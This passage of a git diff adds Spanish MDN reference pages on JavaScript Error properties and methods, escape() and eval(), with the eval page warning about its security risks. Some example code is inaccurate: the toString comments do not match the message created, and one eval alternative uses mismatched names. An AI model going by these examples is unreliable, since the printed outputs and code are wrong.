+<p>Esta propiedad contiene una breve descripción del error, si está disponible o ha sido fijado. <a href="/en-US/docs/Mozilla/Projects/SpiderMonkey">SpiderMonkey</a> hace un amplio uso de esta propiedad para las excepciones. Esta porpiedad combinada con la propiedad {{jsxref("Error.prototype.name", "name")}} es usada por el método {{jsxref("Error.prototype.toString()")}} para crear una cadena de texto del objeto Error.</p>
+
+<p>Por defecto, la propiedad <code>message</code> es una cadena vacía, pero se puede especificar un mensaje a través del primer parámetro del {{jsxref("Error", "constructor Error")}}.</p>
+
+<h2 id="Ejemplo">Ejemplo</h2>
+
+<h3 id="Lanzar_un_error_personalizado">Lanzar un error personalizado</h3>
+
+<pre class="brush: js">var e = new Error('No se pudo analizar la entrada');
+// e.message es 'No se pudo analizar la entrada'
+throw e;
+</pre>
+
+<h2 id="Especificaciones">Especificaciones</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Especificación</th>
+   <th scope="col">Estado</th>
+   <th scope="col">Comentario</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES1')}}</td>
+   <td>{{Spec2('ES1')}}</td>
+   <td>Definición inicial.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES5.1', '#sec-15.11.4.3', 'Error.prototype.message')}}</td>
+   <td>{{Spec2('ES5.1')}}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES6', '#sec-error.prototype.message', 'Error.prototype.message')}}</td>
+   <td>{{Spec2('ES6')}}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ESDraft', '#sec-error.prototype.message', 'Error.prototype.message')}}</td>
+   <td>{{Spec2('ESDraft')}}</td>
+   <td> </td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilidad_con_navegadores">Compatibilidad con navegadores</h2>
+
+<div>{{CompatibilityTable}}</div>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Característica</th>
+   <th>Chrome</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari</th>
+  </tr>
+  <tr>
+   <td>Soporte básico</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Característica</th>
+   <th>Android</th>
+   <th>Chrome for Android</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>IE Mobile</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+  </tr>
+  <tr>
+   <td>Soporte básico</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<h2 id="Ver_también">Ver también</h2>
+
+<ul>
+ <li>{{jsxref("Error.prototype.name")}}</li>
+ <li>{{jsxref("Error.prototype.toString()")}}</li>
+</ul>
diff --git a/files/es/web/javascript/referencia/objetos_globales/error/name/index.html b/files/es/web/javascript/referencia/objetos_globales/error/name/index.html
new file mode 100644
index 0000000000..841cc7cbc4
--- /dev/null
+++ b/files/es/web/javascript/referencia/objetos_globales/error/name/index.html
@@ -0,0 +1,58 @@
+---
+title: Error.prototype.name
+slug: Web/JavaScript/Referencia/Objetos_globales/Error/name
+tags:
+  - Error
+  - JavaScript
+  - Propiedad
+  - Prototipo
+translation_of: Web/JavaScript/Reference/Global_Objects/Error/name
+---
+<div>{{JSRef}}</div>
+
+<p>La propiedad <code><strong>name</strong></code> representa un nombre para el tipo de error. El valor inicial es "Error".</p>
+
+<h2 id="Descripción">Descripción</h2>
+
+<p>De forma predeterminada, las instancias {{JSxRef("Error")}} reciben el nombre "Error". La propiedad <code>name</code>, además de la propiedad {{JSxRef("Error.prototype.message", "message")}}, la utiliza el método {{JSxRef("Error.prototype.toString()")}} para crear una representación de cadena del error.</p>
+
+<h2 id="Ejemplos">Ejemplos</h2>
+
+<h3 id="Lanzar_un_error_personalizado">Lanzar un error personalizado</h3>
+
+<pre class="brush: js notranslate">var e = new Error('Entrada mal formada'); // e.name es 'Error'
+
+e.name = 'ParseError';
+throw e;
+// e.toString() devolverá 'ParseError: Entrada mal formada'
+</pre>
+
+<h2 id="Especificaciones">Especificaciones</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Especificación</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('ESDraft', '#sec-error.prototype.name', 'Error.prototype.name')}}</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilidad_del_navegador">Compatibilidad del navegador</h2>
+
+<div>
+<div>
+<div class="hidden">La tabla de compatibilidad de esta página se genera a partir de datos estructurados. Si deseas contribuir con los datos, consulta <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> y envíanos una solicitud de extracción.</div>
+
+<p>{{Compat("javascript.builtins.Error.name")}}</p>
+</div>
+</div>
+
+<h2 id="Ve_también">Ve también</h2>
+
+<ul>
+ <li>{{JSxRef("Error.prototype.message")}}</li>
+ <li>{{JSxRef("Error.prototype.toString()")}}</li>
+</ul>
diff --git a/files/es/web/javascript/referencia/objetos_globales/error/prototype/index.html b/files/es/web/javascript/referencia/objetos_globales/error/prototype/index.html
new file mode 100644
index 0000000000..075d9a9b3f
--- /dev/null
+++ b/files/es/web/javascript/referencia/objetos_globales/error/prototype/index.html
@@ -0,0 +1,153 @@
+---
+title: Error.prototype
+slug: Web/JavaScript/Referencia/Objetos_globales/Error/prototype
+translation_of: Web/JavaScript/Reference/Global_Objects/Error
+---
+<div>{{JSRef}}</div>
+
+<p>La propiedad <code><strong>Error.prototype</strong></code> representa el prototipo del constructor {{jsxref("Error")}}.</p>
+
+<div>{{js_property_attributes(0, 0, 0)}}</div>
+
+<h2 id="Descripción">Descripción</h2>
+
+<p>Todas las instancias de {{jsxref("Error")}} e instancias de {{jsxref("Global_Objects/Error", "errores no genéricos", "#Error_types", 1)}}, heredan de <code>Error.prototype</code>. Como todas las funciones constructoras, se puede usar el protoipo del constructor para añadir propiedades o métodos a todas las instancias creadas con este constructor.</p>
+
+<h2 id="Properties">Properties</h2>
+
+<h3 id="Propiedades_estándar">Propiedades estándar</h3>
+
+<dl>
+ <dt><code>Error.prototype.constructor</code></dt>
+ <dd>Especifica la función que crea una instancia del prototipo.</dd>
+ <dt>{{jsxref("Error.prototype.message")}}</dt>
+ <dd>Mensaje de error.</dd>
+ <dt>{{jsxref("Error.prototype.name")}}</dt>
+ <dd>Nombre del error.</dd>
+</dl>
+
+<h3 id="Extensiones_específicas_del_proveedor">Extensiones específicas del proveedor</h3>
+
+<div>{{non-standard_header}}</div>
+
+<h4 id="Microsoft">Microsoft</h4>
+
+<dl>
+ <dt>{{jsxref("Error.prototype.description")}}</dt>
+ <dd>Descripción del error. Similar a {{jsxref("Error.prototype.message", "message")}}.</dd>
+ <dt>{{jsxref("Error.prototype.number")}}</dt>
+ <dd>Número de error.</dd>
+</dl>
+
+<h4 id="Mozilla">Mozilla</h4>
+
+<dl>
+ <dt>{{jsxref("Error.prototype.fileName")}}</dt>
+ <dd>Ruta del archivo que lanzó el error.</dd>
+ <dt>{{jsxref("Error.prototype.lineNumber")}}</dt>
+ <dd>Número de fila en el archivo que lanzó el error.</dd>
+ <dt>{{jsxref("Error.prototype.columnNumber")}}</dt>
+ <dd>Número de columna en el archivo que lanzó el error.</dd>
+ <dt>{{jsxref("Error.prototype.stack")}}</dt>
+ <dd>Seguimiento de la pila.</dd>
+</dl>
+
+<h2 id="Métodos">Métodos</h2>
+
+<dl>
+ <dt>{{jsxref("Error.prototype.toSource()")}} {{non-standard_inline}}</dt>
+ <dd>Devuelve una cadena que contiene el codígo del objeto {{jsxref("Error")}}; se puede usar este valor para crear un nuevo objeto. Sobreescribe el método {{jsxref("Object.prototype.toSource()")}}.</dd>
+ <dt>{{jsxref("Error.prototype.toString()")}}</dt>
+ <dd>Devuelve una cadena que representa el objeto. Sobreescribe el método {{jsxref("Object.prototype.toString()")}}.</dd>
+</dl>
+
+<h2 id="Especificaciones">Especificaciones</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Especificación</th>
+   <th scope="col">Estado</th>
+   <th scope="col">Comentario</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES1')}}</td>
+   <td>{{Spec2('ES1')}}</td>
+   <td>Definición inicial. Implementado en JavaScript 1.1.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES5.1', '#sec-15.11.3.1', 'Error')}}</td>
+   <td>{{Spec2('ES5.1')}}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES6', '#sec-error.prototype', 'Error')}}</td>
+   <td>{{Spec2('ES6')}}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ESDraft', '#sec-error.prototype', 'Error')}}</td>
+   <td>{{Spec2('ESDraft')}}</td>
+   <td> </td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilidad_con_navegadores">Compatibilidad con navegadores</h2>
+
+<div>{{CompatibilityTable}}</div>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Característica</th>
+   <th>Chrome</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari</th>
+  </tr>
+  <tr>
+   <td>Soporte básico</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Característica</th>
+   <th>Android</th>
+   <th>Chrome for Android</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>IE Mobile</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+  </tr>
+  <tr>
+   <td>Soporte básico</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<h2 id="Ver_también">Ver también</h2>
+
+<ul>
+ <li>{{jsxref("Error")}}</li>
+ <li>{{jsxref("Object.prototype")}}</li>
+</ul>
diff --git a/files/es/web/javascript/referencia/objetos_globales/error/tosource/index.html b/files/es/web/javascript/referencia/objetos_globales/error/tosource/index.html
new file mode 100644
index 0000000000..fb1b429884
--- /dev/null
+++ b/files/es/web/javascript/referencia/objetos_globales/error/tosource/index.html
@@ -0,0 +1,60 @@
+---
+title: Error.prototype.toSource()
+slug: Web/JavaScript/Referencia/Objetos_globales/Error/toSource
+tags:
+  - JavaScript
+  - No estandar
+  - Prototipo
+  - metodo
+translation_of: Web/JavaScript/Reference/Global_Objects/Error/toSource
+---
+<div>{{JSRef}} {{non-standard_header}}</div>
+
+<p>El método <code><strong>toSource()</strong></code> devuelve código que podría evaluar el mismo error.</p>
+
+<h2 id="Sintaxis">Sintaxis</h2>
+
+<pre class="syntaxbox notranslate"><var>e</var>.toSource()</pre>
+
+<h3 id="Valor_de_retorno">Valor de retorno</h3>
+
+<p>Una cadena que contiene el código fuente del error.</p>
+
+<h2 id="Ejemplos">Ejemplos</h2>
+
+<h3 id="Usar_toSource">Usar toSource</h3>
+
+<p>Llamar al método <code>toSource</code> de una instancia {{JSxRef("Error")}} (incluido {{JSxRef("Global_Objects/Error", "NativeErrors", "#Error_types")}}) devolverá una cadena que contiene el código fuente del error. Esta cadena se puede evaluar para crear un objeto (aproximadamente) igual. Naturalmente, la cadena que contiene la fuente sigue la estructura del constructor {{JSxRef("Error")}}. Por ejemplo:</p>
+
+<pre class="brush: js notranslate">(new<em>name</em>(<em>message</em> ,<em>fileName</em>,<em>lineNumber</em>))
+</pre>
+
+<p>donde estos atributos corresponden a las propiedades respectivas de la instancia de <code>error</code>.</p>
+
+<div class="note">
+<p><strong>Nota</strong>: Ten en cuenta que las propiedades utilizadas por el método <code>toSource</code> en la creación de esta cadena son mutables y es posible que no reflejen con precisión la función utilizada para crear una instancia de <code>error</code> o el nombre de archivo o número de línea donde ocurrió un error real.</p>
+</div>
+
+<h2 id="Especificaciones">Especificaciones</h2>
+
+<p>No forma parte de ningún estándar.</p>
+
+<h2 id="Compatibilidad_del_navegador">Compatibilidad del navegador</h2>
+
+<div>
+<div>
+<div class="hidden">La tabla de compatibilidad de esta página se genera a partir de datos estructurados. Si deseas contribuir con los datos, consulta <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> y envíanos una solicitud de extracción.</div>
+
+<p>{{Compat("javascript.builtins.Error.toSource")}}</p>
+</div>
+</div>
+
+<h2 id="Ve_también">Ve también</h2>
+
+<ul>
+ <li>{{JSxRef("Error.prototype.fileName")}}</li>
+ <li>{{JSxRef("Error.prototype.lineNumber")}}</li>
+ <li>{{JSxRef("Error.prototype.message")}}</li>
+ <li>{{JSxRef("Error.prototype.name")}}</li>
+ <li>{{jsxref("Object.prototype.toSource()")}}</li>
+</ul>
diff --git a/files/es/web/javascript/referencia/objetos_globales/error/tostring/index.html b/files/es/web/javascript/referencia/objetos_globales/error/tostring/index.html
new file mode 100644
index 0000000000..f4ea4a44b9
--- /dev/null
+++ b/files/es/web/javascript/referencia/objetos_globales/error/tostring/index.html
@@ -0,0 +1,98 @@
+---
+title: Error.prototype.toString()
+slug: Web/JavaScript/Referencia/Objetos_globales/Error/toString
+tags:
+  - JavaScript
+  - Prototipo
+  - metodo
+translation_of: Web/JavaScript/Reference/Global_Objects/Error/toString
+---
+<div>{{JSRef}}</div>
+
+<p>El método <code><strong>toString()</strong></code> devuelve una cadena que representa el objeto {{JSxRef("Error")}} especificado.</p>
+
+<h2 id="Sintaxis">Sintaxis</h2>
+
+<pre class="syntaxbox notranslate"><code><var>e</var>.toString()</code></pre>
+
+<h3 id="Valor_de_retorno">Valor de retorno</h3>
+
+<p>Una cadena que representa el objeto {{JSxRef("Error")}} especificado.</p>
+
+<h2 id="Descripción">Descripción</h2>
+
+<p>El objeto {{JSxRef("Error")}} redefine el método {{JSxRef("Object.prototype.toString()")}} heredado por todos los objetos. Su semántica es la siguiente (asumiendo que {{JSxRef("Object")}} y {{JSxRef("String")}} tienen sus valores originales):</p>
+
+<pre class="brush: js notranslate">Error.prototype.toString = function() {
+  'use strict';
+
+  var obj = Object(this);
+  if (obj !== this) {
+    throw new TypeError();
+  }
+
+  var name = this.name;
+  name = (name === undefined) ? 'Error' : String(name);
+
+  var msg = this.message;
+  msg = (msg === undefined) ? '' : String(msg);
+
+  if (name === '') {
+    return msg;
+  }
+  if (msg === '') {
+    return name;
+  }
+
+  return name + ': ' + msg;
+};
+</pre>
+
+<h2 id="Ejemplos">Ejemplos</h2>
+
+<h3 id="Usar_toString">Usar <code>toString()</code></h3>
+
+<pre class="brush: js notranslate">var e = new Error('fatal error');
+console.log(e.toString()); // 'Error: error fatal'
+
+e.name = undefined;
+console.log(e.toString()); // 'Error: error fatal'
+
+e.name = '';
+console.log(e.toString()); // 'error fatal'
+
+e.message = undefined;
+console.log(e.toString()); // ''
+
+e.name = 'hola';
+console.log(e.toString()); // 'hola'
+</pre>
+
+<h2 id="Especificaciones">Especificaciones</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Especificación</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('ESDraft', '#sec-error.prototype.tostring', 'Error.prototype.toString')}}</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilidad_del_navegador">Compatibilidad del navegador</h2>
+
+<div>
+<div class="hidden">La tabla de compatibilidad de esta página se genera a partir de datos estructurados. Si deseas contribuir con los datos, consulta <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> y envíanos una solicitud de extracción.</div>
+
+<p>{{Compat("javascript.builtins.Error.toString")}}</p>
+</div>
+
+<h2 id="Ve_también">Ve también</h2>
+
+<ul>
+ <li>{{jsxref("Error.prototype.toSource()")}}</li>
+</ul>
diff --git a/files/es/web/javascript/referencia/objetos_globales/escape/index.html b/files/es/web/javascript/referencia/objetos_globales/escape/index.html
new file mode 100644
index 0000000000..4925618b0e
--- /dev/null
+++ b/files/es/web/javascript/referencia/objetos_globales/escape/index.html
@@ -0,0 +1,91 @@
+---
+title: escape()
+slug: Web/JavaScript/Referencia/Objetos_globales/escape
+tags:
+  - JavaScript
+  - Obsoleto
+  - escape
+translation_of: Web/JavaScript/Reference/Global_Objects/escape
+---
+<div class="warning">{{Deprecated_header}} Advertencia <code>escape()</code> no esta estrictamente en desuso("eliminada por los estándares Web"), esta definida en  <a href="https://www.ecma-international.org/ecma-262/9.0/index.html#sec-additional-ecmascript-features-for-web-browsers">Anexo B</a> El estándar ECMA-262 , cuya introducción establece:
+<blockquote>… Todos las características especificas y comportamientos del lenguaje en este anexo tienen mas de una caracterísitca indeseable y en ausencia del legado sera eliminada de esta especificación. …<br>
+… Los programadores no deben usar o suponer la existencia de estas características y/o comportamientos al escribir nuevo código ECMAScript …</blockquote>
+</div>
+
+<div></div>
+
+<p><span class="seoSummary">La función obsoleta <code><strong>escape()</strong></code> crea una nueva cadena de caracteres en los que ciertos caracteres han sido sustituidos por una secuencia hexadecimal de escape.</span></p>
+
+<h2 id="Sintaxis">Sintaxis</h2>
+
+<pre class="syntaxbox">escape(str)</pre>
+
+<h3 id="Parametros">Parametros</h3>
+
+<dl>
+ <dt><code>str</code></dt>
+ <dd>Cadena a codificar.</dd>
+</dl>
+
+<h3 id="Devuelve">Devuelve</h3>
+
+<p>Una nueva cadena en la que ciertos caracteres han sido sustituidos.</p>
+
+<h2 id="Descripción">Descripción</h2>
+
+<p>La función <code>escape </code>es una propiedad del <em>objeto global. </em>SLos caracteres especiales son codificados a excepción de: @*_+-./</p>
+
+<p>La forma hexadecimal de los caracteres cuyo valor es 0xFF o menor, es una secuencia de escape de dos digitos: %xx. Para caracteres un valor superior, se usa el fomato de cuatro digitos: %<strong>u</strong>xxxx.</p>
+
+<h2 id="Ejemplos">Ejemplos</h2>
+
+<pre class="brush: js">escape('abc123');     // "abc123"
+escape('äöü');        // "%E4%F6%FC"
+escape('ć');          // "%u0107"
+
+// caracteres especiales
+escape('@*_+-./');    // "@*_+-./"</pre>
+
+<h2 id="Specifications">Specifications</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES1')}}</td>
+   <td>{{Spec2('ES1')}}</td>
+   <td>Initial definition.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES5.1', '#sec-B.2.1', 'escape')}}</td>
+   <td>{{Spec2('ES5.1')}}</td>
+   <td>Defined in the (informative) Compatibility Annex B</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES6', '#sec-escape-string', 'escape')}}</td>
+   <td>{{Spec2('ES6')}}</td>
+   <td>Defined in the (normative) Annex B for Additional ECMAScript Features for Web Browsers</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ESDraft', '#sec-escape-string', 'escape')}}</td>
+   <td>{{Spec2('ESDraft')}}</td>
+   <td>Defined in the (normative) Annex B for Additional ECMAScript Features for Web Browsers</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilidad_con_navegadores">Compatibilidad con navegadores</h2>
+
+<p>{{Compat("javascript.builtins.escape")}}</p>
+
+<h2 id="Ver_más">Ver más</h2>
+
+<ul>
+ <li>{{jsxref("encodeURI")}}</li>
+ <li>{{jsxref("encodeURIComponent")}}</li>
+ <li>{{jsxref("unescape")}}</li>
+</ul>
diff --git a/files/es/web/javascript/referencia/objetos_globales/eval/index.html b/files/es/web/javascript/referencia/objetos_globales/eval/index.html
new file mode 100644
index 0000000000..52375445c4
--- /dev/null
+++ b/files/es/web/javascript/referencia/objetos_globales/eval/index.html
@@ -0,0 +1,309 @@
+---
+title: eval
+slug: Web/JavaScript/Referencia/Objetos_globales/eval
+tags:
+  - JavaScript
+  - eval
+translation_of: Web/JavaScript/Reference/Global_Objects/eval
+---
+<div>{{jsSidebar("Objects")}}</div>
+
+<h2 id="Resumen" name="Resumen">Resumen</h2>
+
+<p>La función <code>eval()</code> evalúa un código JavaScript representado como una cadena de caracteres (string), sin referenciar a un objeto en particular.</p>
+
+<h2 id="Sintaxis" name="Sintaxis">Sintaxis</h2>
+
+<pre class="brush: js"><code>eval(<em>cadena</em> de caracteres o string)</code>
+</pre>
+
+<h3 id="Par.C3.A1metros" name="Par.C3.A1metros">Parámetros</h3>
+
+<dl>
+ <dt><code>cadena de caracteres (string)</code></dt>
+ <dd>Una cadena de caracteres (string) que representa una expresión, sentencia o secuencia de sentencias en JavaScript. La expresión puede incluir variables y propiedades de objetos existentes.</dd>
+ <dt>
+ <h3 id="Par.C3.A1metros" name="Par.C3.A1metros">Valores retornados o devueltos</h3>
+ </dt>
+</dl>
+
+<p>El valor que resulta de la evaluación del código proporcionado. Si este valor está vacío. {{jsxref("undefined")}} (artículo en inglés) es devuelto.</p>
+
+<h2 id="Descripci.C3.B3n" name="Descripci.C3.B3n">Descripción</h2>
+
+<p><code>eval()</code> es una propiedad de la función del objeto global.</p>
+
+<p>El argumento de la función <code>eval</code> es una cadena de caracteres. Si la cadena de caracteres representa una expresión, <code>eval()</code> evalúa la expresión. Si el argumento representa una o más sentencias JavaScript, <code>eval()</code> evalúa las sentencias. No se debe llamar a <code>eval()</code> para evaluar una expresión aritmética; ya que JavaScript evalúa las expresiones aritméticas automáticamente.</p>
+
+<p>Si construye una expresión aritmética como una cadena de caracteres, puede usar <code>eval()</code> para evaluarla más tarde. Por ejemplo, suponga que tiene la variable <code>x</code>. Puede posponer la evaluación de una expresión que involucre a <code>x</code> mediante la asignación del valor de la cadena de caracteres de la expresión, asignando "<code>3 * x + 2</code>" a la variable, y entonces llamar a <code>eval()</code> posteriormente en el script.</p>
+
+<p>Si el argumento de <code>eval()</code> no es una cadena de caracteres, <code>eval()</code> devuelve el argumento sin cambio. En el siguiente ejemplo, el constructor <code>String</code> es especificado, y <code>eval()</code> devuelve un objeto <code>String</code> en lugar de evaluar la cadena de caracteres.</p>
+
+<pre>eval(new String("2 + 2")); // devuelve un objeto String que contiene "2 + 2"
+eval("2 + 2");             // devuelve 4
+</pre>
+
+<p>Puede trabajar sobre esta limitación de una manera genérica utilizando <code>toString()</code>.</p>
+
+<pre>var expresion = new String("2 + 2");
+eval(expresion.toString());
+</pre>
+
+<p>Si utiliza la función <code>eval()</code> <em>indirectamente</em>, invocándola a través de una referencia distinta de <code>eval</code>, a partir de ECMAScript 5, ésta funciona en el ámbito global en lugar de hacerlo en el ámbito local; esto quiere decir, por ejemplo, que las declaraciones de función crean funciones globales, y que el código siendo evaluado no tiene acceso a las variables locales dentro del ámbito en donde está siendo llamada.</p>
+
+<pre class="brush:js line-numbers  language-js"><code class="language-js"><span class="keyword token">function</span> <span class="function token">test</span><span class="punctuation token">(</span><span class="punctuation token">)</span> <span class="punctuation token">{</span>
+  <span class="keyword token">var</span> x <span class="operator token">=</span> <span class="number token">2</span><span class="punctuation token">,</span> y <span class="operator token">=</span> <span class="number token">4</span><span class="punctuation token">;</span>
+  console<span class="punctuation token">.</span><span class="function token">log</span><span class="punctuation token">(</span><span class="function token">eval</span><span class="punctuation token">(</span><span class="string token">"x + y"</span><span class="punctuation token">)</span><span class="punctuation token">)</span><span class="punctuation token">;</span>  <span class="comment token">// Llamada directa, utiliza el ámbito local, el resultado es 6</span>
+  <span class="keyword token">var</span> geval <span class="operator token">=</span> eval<span class="punctuation token">;</span>
+  console<span class="punctuation token">.</span><span class="function token">log</span><span class="punctuation token">(</span><span class="function token">geval</span><span class="punctuation token">(</span><span class="string token">"x + y"</span><span class="punctuation token">)</span><span class="punctuation token">)</span><span class="punctuation token">;</span> <span class="comment token">// Llamada indirecta, utiliza el ámbito global, através de ReferenceError por que `x` es indefinida</span>
+<span class="punctuation token">}</span></code></pre>
+
+<h2 id="No_utilice_eval_innecesariamente">No utilice <code>eval</code> innecesariamente</h2>
+
+<p><code>eval()</code> es una función peligrosa, quel ejecuta el código el cual es pasado con los privilegios de quien llama.  Si ejecuta <code>eval()</code> con una cadena de carcteres que podría ser afectada por un elemento malicioso, podría terminar ejecutando código malicioso dentro de la computadora del usuario con los permisos de su página o extensión web . Más importante aún, una parte del código de terceros podría accesar al ámbito en el cual <code>eval()</code> fue invocada, lo que puede permitir la entrada a posibles ataques de formas a las que el constructor {{jsxref("Global_Objects/Function", "Function")}} (art. en inglés) el cual es similar, no es susceptible.</p>
+
+<p><code>eval()</code> es generalmente también más lenta que otras alternativas desde que se invoca en el intérprte de JS, mientras que otros muchos constructores son optimizados por los motores JS modernos.</p>
+
+<p>Existen alternativas más seguras (y rápidas) que <code>eval() </code>para casos de uso común.</p>
+
+<h3 id="Accediendo_a_propiedades_de_los_miembros">Accediendo a propiedades de los miembros</h3>
+
+<p>No debería utilizar <code>eval()</code> con el fin de convertir nombres de propiedades en propiedades. Observe el siguiente ejemplo en el cual la función <code>getNombreCampo(n)</code> devuelve el nombre del elemento del formulario especificado como una cadena. La primera sentencia asigna el valor de cadena del tercer elemento del formulario a la variable <code>campo</code>. La segunda sentencia utiliza <code>eval</code> para mostrar el valor del elemento del formulario.</p>
+
+<pre>var campo = getNombreCampo(3);
+document.write("El campo llamado ", campo, " tiene un valor de ", eval(campo + ".value"));
+</pre>
+
+<p>Sin embargo, <code>eval()</code> no es necesario en este código. De hecho, su uso aquí no se recomienda. En su lugar, utilice los <a href="/es/Web/JavaScript/Referencia/Operadores/Miembros">operadores de miembro</a> (art. en inglés), que son mucho más rápidos y seguros:</p>
+
+<pre class="brush: js">var campo = getFieldName(3);
+document.write("El campo llamado ", campo, " tiene un valor de ", campo[valor]);
+</pre>
+
+<p>Considere ahora este nuevo ejemplo, en donde la propiedad del objeto a ser accesado no es conocida hasta que el código es ejecutado. Esto puede hacerse con eval:</p>
+
+<pre class="brush:js line-numbers  language-js"><code class="language-js"><span class="keyword token">var</span> obj <span class="operator token">=</span> <span class="punctuation token">{</span> a<span class="punctuation token">:</span> <span class="number token">20</span><span class="punctuation token">,</span> b<span class="punctuation token">:</span> <span class="number token">30</span> <span class="punctuation token">}</span><span class="punctuation token">;</span>
+<span class="keyword token">var</span> nombreProp <span class="operator token">=</span> obtenerNombreProp<span class="punctuation token">(</span><span class="punctuation token">)</span><span class="punctuation token">;</span>  <span class="comment token">// devuelve "a" o "b"</span>
+
+<span class="function token">eval</span><span class="punctuation token">(</span> <span class="string token">"var resultado = obj."</span> <span class="operator token">+</span> nombreProp <span class="punctuation token">)</span><span class="punctuation token">;</span></code></pre>
+
+<p>Y con el uso de los <a href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Operators/Property_Accessors" title="JavaScript/Reference/Operators/Member_Operators">accesores de propiedades</a> (artículo en inglés), el cual es mucho más rápido y seguro, sería así:</p>
+
+<pre class="brush:js line-numbers  language-js"><code class="language-js"><span class="keyword token">var</span> obj <span class="operator token">=</span> <span class="punctuation token">{</span> a<span class="punctuation token">:</span> <span class="number token">20</span><span class="punctuation token">,</span> b<span class="punctuation token">:</span> <span class="number token">30</span> <span class="punctuation token">}</span><span class="punctuation token">;</span>
+<span class="keyword token">var</span> nombreProp <span class="operator token">=</span> obtenerNombreProp<span class="punctuation token">(</span><span class="punctuation token">)</span><span class="punctuation token">;</span> <span class="comment token">// devuelve "a" o "b"</span>
+<span class="keyword token">var</span> resultado <span class="operator token">=</span> obj<span class="punctuation token">[</span> nombreProp <span class="punctuation token">]</span><span class="punctuation token">;</span>  <span class="comment token">//  obj[ "a" ] es el mismo que obj.a</span></code></pre>
+
+<p>Puede incluso utilizar este método para acceder a las propiedades de los descendientes. Utilizando <code>eval()</code> esto sería de la siguiente forma:</p>
+
+<pre class="brush:js line-numbers  language-js"><code class="language-js"><span class="keyword token">var</span> obj <span class="operator token">=</span> <span class="punctuation token">{</span>a<span class="punctuation token">:</span> <span class="punctuation token">{</span>b<span class="punctuation token">:</span> <span class="punctuation token">{</span>c<span class="punctuation token">:</span> <span class="number token">0</span><span class="punctuation token">}</span><span class="punctuation token">}</span><span class="punctuation token">}</span><span class="punctuation token">;</span>
+<span class="keyword token">var</span> propPath <span class="operator token">=</span> <span class="function token">getPropPath</span><span class="punctuation token">(</span><span class="punctuation token">)</span><span class="punctuation token">;</span>  <span class="comment token">// returns e.g. "a.b.c"</span>
+
+<span class="function token">eval</span><span class="punctuation token">(</span> <span class="string token">"var result = obj."</span> <span class="operator token">+</span> propPath <span class="punctuation token">)</span><span class="punctuation token">;</span></code></pre>
+
+<p>Evitando <code>eval()</code>, esto podría hacerse dividiendo la ruta de propiedad y haciendo un bucle a través de las diferentes propiedades:</p>
+
